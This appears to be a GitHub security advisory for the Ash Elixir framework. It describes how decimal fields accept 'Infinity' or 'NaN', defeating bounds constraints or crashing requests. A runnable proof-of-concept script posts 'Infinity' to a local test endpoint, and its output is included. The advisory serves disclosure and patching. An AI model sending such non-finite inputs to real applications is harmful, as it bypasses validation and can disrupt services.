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Improper input validation in `Ash.Type.Decimal` in Ash accepts Infinity/NaN, bypassing bounds or crashing the request

Low
zachdaniel published GHSA-mvvh-q33h-q62v Sep 1, 2026

Package

erlang ash (Erlang)

Affected versions

>= 1.28.0, < 3.32.2

Patched versions

3.32.2

Description

Summary

A user-supplied string of "Infinity", "-Inf" or "NaN" for any :decimal attribute or argument is accepted, silently defeating min/max/greater_than/less_than constraints or crashing the request with an unhandled exception. Any application exposing a :decimal field over an HTTP or JSON boundary is affected.

Details

The is_binary clauses of cast_input/2 and cast_stored/2 call Decimal.parse/1 directly rather than going through Ecto.Type.cast(:decimal, ...), which rejects these values. The non-finite value then flows into apply_constraints/2, where bounds checks return {:ok, value}; where a constraint does engage it raises (precision, or any comparison against "NaN") instead of erroring.

Proof of Concept

# Demonstrates an authenticated quote endpoint accepting a non-finite decimal
# even though the action argument is constrained to non-negative finite amounts.

previous_no_warn_undefined = Code.get_compiler_option(:no_warn_undefined)
Code.put_compiler_option(:no_warn_undefined, Enum.uniq([Igniter.Project.Module, Igniter.Code.Module | previous_no_warn_undefined]))

Mix.install(
  [{:ash, "3.32.1"}, {:bandit, "1.12.5"}, {:req, "0.7.3"}, {:simple_sat, "~> 0.1 and >= 0.1.1"}],
  consolidate_protocols: false
)

Code.put_compiler_option(:no_warn_undefined, previous_no_warn_undefined)

defmodule Poc.Domain do
  use Ash.Domain, validate_config_inclusion?: false
  resources do
    resource(Poc.Quote)
  end
end

defmodule Poc.Quote do
  use Ash.Resource, domain: Poc.Domain, data_layer: Ash.DataLayer.Ets, authorizers: [Ash.Policy.Authorizer]

  actions do
    action :price, :string do
      argument(:amount, :decimal, allow_nil?: false, constraints: [min: 0])
      run(fn input, _ -> {:ok, Decimal.to_string(input.arguments.amount)} end)
    end
  end

  policies do
    policy action(:price) do
      authorize_if actor_attribute_equals(:authenticated?, true)
    end
  end
end

defmodule Poc.Router do
  use Plug.Router
  plug(:match)
  plug(Plug.Parsers, parsers: [:json], json_decoder: Jason)
  plug(:dispatch)

  post "/quote" do
    actor = %{authenticated?: get_req_header(conn, "authorization") == ["Bearer user-session"]}
    input = Ash.ActionInput.for_action(Poc.Quote, :price, conn.body_params)

    case Ash.run_action(input, actor: actor, authorize?: true) do
      {:ok, amount} -> json(conn, 200, %{accepted_amount: amount})
      {:error, error} -> json(conn, 422, %{error: Exception.message(error)})
    end
  end

  defp json(conn, status, body), do: conn |> put_resp_content_type("application/json") |> send_resp(status, Jason.encode!(body))
end

{:ok, server} = Bandit.start_link(plug: Poc.Router, ip: {127, 0, 0, 1}, port: 0, startup_log: false)
{:ok, {_address, port}} = ThousandIsland.listener_info(server)
response = Req.post!("http://127.0.0.1:#{port}/quote", headers: [{"authorization", "Bearer user-session"}], json: %{amount: "Infinity"}, retry: false)
Supervisor.stop(server)

IO.puts("status: #{response.status}")
IO.puts("body:   #{inspect(response.body)}")

if response.status == 200 and response.body["accepted_amount"] == "Infinity" do
  IO.puts("VERIFIED: an authenticated request passed Infinity through a decimal argument constrained with min: 0")
else
  IO.puts("NOT VERIFIED: the public action rejected the non-finite decimal")
end

Reproduction output

status: 200
body:   %{"accepted_amount" => "Infinity"}
VERIFIED: an authenticated request passed Infinity through a decimal argument constrained with min: 0

Impact

Input-validation bypass and denial of service for anyone exposing a :decimal field over an HTTP or JSON boundary. Bounds such as the common min: 0 on an amount or quantity are silently ignored; Ecto data layers later raise on dump, while ETS/in-memory/custom data layers persist the poisoned value and propagate it through later arithmetic.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

CVE ID

CVE-2026-82734

Weaknesses

Improper Validation of Specified Quantity in Input

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties. Learn more on MITRE.

Credits